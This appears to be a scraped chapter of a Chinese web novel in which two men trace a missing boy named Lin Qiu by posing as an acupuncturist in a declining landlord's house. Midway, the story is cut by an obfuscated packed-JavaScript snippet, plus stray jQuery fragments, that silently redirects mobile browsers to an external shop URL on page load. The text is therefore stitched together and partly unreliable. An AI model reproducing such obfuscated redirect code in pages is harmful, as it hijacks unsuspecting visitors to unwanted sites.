默认冷灰
24号文字
方正启体

10. 阿祛智斗小两口

作者:水清不见鱼本书字数:K更新时间:
    这说书先生被拦下,便不紧不慢地捋着胡子,上下打量沈长安身着衣物,眼底带了些许……轻蔑,看得沈长安焦躁不已。


    还没来得及说话,阿祛已经跨步挡在前面,隔开他们。他眉头紧蹙,神色阴沉地看着对方,好似下一秒就会直扑喉管,把人撕咬得毫无生息。


    于是说书先生识趣地收回视线退后一步,漫不经心笑道:“好说好说,公子要问何事?


    沈长安道:“此间有个孩子,姓林名丘,先生可知道?”


    这说书先生点着头:“记得记得,救母身陨,惨不忍睹。”


    沈长安追问:“他的事先生还知道多少?我都要听。”


    先生摇着头,露出副惋惜表情:“早年旱灾,他随母由镇南迁到镇西,许是受惊,在一客栈前当街嚎哭,为生意着想,掌柜的只得将把他们母子两人安置到楼上客房暂居。”


    “这些我都知道。”沈长安跟阿祛对视一眼,哑着嗓子开口:“他还有个兄长,先生知道在何处吗?”


    说书先生这次没说话,只用指腹翻来覆去摩挲着那几个铜板,使其碰撞着,发出清脆声响。


    这是在点他,要想再问下去,得再添银钱。


    这行当里的人,口中说是不为名声不为财,其实最多仅是表明不会收了银两就信口胡诌歪曲事实,可真要问个什么,还得给够数才行。


    沈长安不甘心地摸了摸身上所有的口袋,最终深吸一口气:“今日外出确实银两不足,先生可否准许我先打个欠条?”


    他情真意切的恳求,可说书先生见捞不着钱就并不打算给他机会,一抬手把那几枚铜板收进袖里,便晃晃悠悠地赶着小驴走远了。


    这下子只能另想办法了。


    沈长安对镇南不算熟悉,带着阿祛尽可能往人多的地方找,脚步不由得越来越快。此时最烈的日头已经过去,两侧树荫遮蔽,吹着微风,适宜出行游玩。可这里的街上却没什么人,连马车都没有在跑,尽是些穿着粗布衣裳的仆人,低垂着头,匆匆忙忙替主家买东西跑腿。


    沈长安找了半天,才终于找到个缩在粗壮树干下乘凉的青年男子,赶忙凑近些蹲下身道:“打扰您,想跟您打听打听林丘家的事。”


    这男子狐疑地看他一眼:“你是什么人?”


    “我是他家远亲,前来探望却怎么都找不到。”沈长安拿出早就准备好的说辞,面上焦急显而易见:“我怕他们出什么事,想知道他们曾经在哪里做过活计,求您帮帮我。”


    男子神色稍有放松,朝树上一躺:“我肚子饿,吃不饱就想不到事。”


    沈长安心下了然,从小布包内拿出张葱花小饼双手递了过去,连声道:“应该的,应该的。”


    男子接了饼,先是嗅了嗅,又不以为意地咬了一小块,酥脆外皮碎成的渣掉了满身,他整个人直接定住了。嘴里那口都迟迟没嚼第二下,葱花混着猪油的香气都开始飘到沈长安鼻尖萦绕着。


    沈长安忍不住咽了咽口水。


    男子立即像是怕他要回去一样咬了一大口,费力地嚼着,腮帮子撑得鼓胀。好不容易把剩下的都塞进嘴里,他才闭上眼,吮着自己刚刚抓过小饼的手指,靠在树干上,发出一声又长又满足的喟叹,抖着声道:“在刘员外家…离这儿不远……”


    沈长安总不好什么都没准备就往里闯,只得以下次来再带一张葱花小饼为条件,耐心地问了些刘员外家的近况。


    据说这位刘员外早年不慎从马车上摔落,也不知磕了什么地方,双腿竟然再无知觉。如今年龄大了,生活无法自理,性情因病更加暴躁,动不动就把自家仆人打得遍体鳞伤。


    原先他家工钱给得足,大家尚且能忍,后来刘员外家中愈发没落,只能靠坐吃山空勉强度日,仅剩的银两都得治腿用,就没人肯来了。


    沈长安顺着男子指的近路找,没走多远就看到一处宅邸矗立,斑驳门楣下的几根石柱红漆已经剥落,两侧镇宅狮子还被磕了半边耳朵,门也虚掩着没锁。


    看来没落有段时间了。


    “滚!你也瞧不起我!过什么节!都是些忘恩负义的东西!都滚!!”


    里头嚷得激烈,沈长安自然不想这时候冲进去找不痛快。况且照这情况,人家肯定也不希望被外人打扰,于是他就打算出去转一圈再来拜访。


    谁成想他还没来得及知会阿祛一声,阿祛突然上前几步,伸出手,把宅门推开了。


    刘员外竟是个早已白发冲鬓的老人家,此刻正狼狈不堪地趴在地上,身侧应是他的夫人,盘着圆髻,正红着眼睛,竭尽全力试图把人扶起来。听到这边的动静,两人都齐齐看了过来。


    沈长安头皮都麻了,下意识地就不住道歉:“刘员外,实在对不住,我们是…”


    “您来了?针都备好了。”


    刘夫人柔声开口,沈长安立即把解释的话咽了回去,很有眼色地上前,架着刘员外瘫软的身体扶到里屋趴着。


    紧接着刘夫人就从桌案上拿来一包崭新的针囊,递到他跟前道:“李郎中,还缺什么您同我说,拙夫给您添麻烦了。”


    事已至此,硬着头皮装下去总比被轰出去强。


    沈长安便摆出一副严肃凝重的神情接了针囊,先是伸手顺着刘员外的脊背轻轻摸了摸,又从针囊里取出一根银针晃了晃:“夫人,不瞒您说,我断定刘员外是伤了脊髓,这经络阻滞,气血不通,我需得先疏通受损部位,再刺激下肢。”


    说罢,沈长安把一根长针缓缓扎入刘员外腰部穴位,知道林丘家的事情得循序渐进,就边拿新针边不经意地开口询问:“员外最近是不是情绪烦闷?”


    刘员外疲惫地扶着脑袋,没有回应。刘夫人在旁似乎想说什么,又碍于丈夫在此不便开口。只得暗自抹泪。


    沈长安把最后一针施完,看着刘夫人道:“这针得留一刻钟起效,方可拔出,夫人,还请借一步说话。”


    刘夫人犹豫着看了一眼刘员外,得了允许才点点头,随着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502406|202817||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沈长安出了门。


    宅院内的草木久不打理,已经长得十分杂乱,沈长安见刘夫人始终一副怯懦的模样,开口安抚:“夫人不必担心,他的腿并不是全无可能,只是总心情烦闷,确实不利于恢复。”


    刘夫人怔愣一瞬,拈着手帕拭泪:“粟衣日临近,家夫只是觉得宅内冷清,故而感伤罢了,您…真有把握治好?”


    这所谓粟衣日,其实就是指衣裳跟粟米。


    青延镇百姓认为布料也好,粮食也好,都要靠天收成,自然要感念恩德。凡间这种奇怪节日多得很,按照这里的习俗,那天家家户户该挂好彩绸,还要穿上新衣、做碗米粥、放祈福灯,好不热闹,但以刘员外目前的身体状况,的确是容易多想。


    “至少八成把握。”沈长安笑了笑:“方才在门外听到员外大喊有谁忘恩负义,才多嘴一问,还望夫人不要放在心上。”


    “不碍事的。”刘夫人叹了口气:“自从出事后,下人尽皆遣散,家夫缺了照顾,就一直这般精神恍惚,倒是给您添了麻烦。”


    见终于有了机会,沈长安尽量让自己不显得那么有目的性,感叹开口:“只道世事无常,我的好友想来镇南探亲,好像要找个叫林丘的孩子,却怎么都找不到,现下看着也是精神恍惚。”


    刘夫人顿了顿,沈长安忙问:“夫人认识?”


    刘夫人摇了摇头,不肯多说,只看看天色答:“一刻钟到了。”沈长安没办法,只得跟随回到房间里拔针。


    看刘夫人的反应明显是认识的,既然如此,他就不能轻易离开,最好还能在这里留宿。


    沈长安正愁怎么开口,一旁的阿祛忽然直挺挺倒了下去,身躯跌向地面,头还磕在柜角发出巨响,把沈长安吓了一跳。


    见阿祛不省人事,沈长安忙蹲下来想扶起他,头部明明没有出血,可无论他怎么叫喊,阿祛就是双眼紧闭,毫无反应。


    “员外、夫人,实在抱歉,他这种情况不宜走动,可否允许我们借宿?”说完,沈长安生怕他们不同意,一狠心道:“不白住的,我保证只需三日,能让员外的腿感知痛觉,就当抵了我们的住宿费用,如何?”


    毕竟是陈旧的老毛病,沈长安最多能说有把握能让这双腿恢复痛觉,不再继续萎缩,就是要想完全站起来,可能性太小了。


    好在刘员外听到双腿竟没全坏,立即爽快地答应下来,还给他们安排了两间正对着的客房。


    夫人见沈长安有些费力,还想上前帮忙,沈长安觉得男女授受不亲一口回绝,硬是独自架着阿祛的胳膊把他半拖半抱到床上,伸手搭在阿祛脉搏上诊察。


    和缓有力,不浮不沉,不快不慢,节律均匀。哪里像是刚刚突发过急症的模样。


    沈长安急了,俯下身颤着手就去扒阿祛的眼皮,想看看瞳孔是否散开。刚触碰到那张脸,他的手腕就被握住,阿祛睁开那双湿漉漉的眼睛看向他,唇瓣动了动:


    “我刚刚、可能打听到林丘、的事情了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)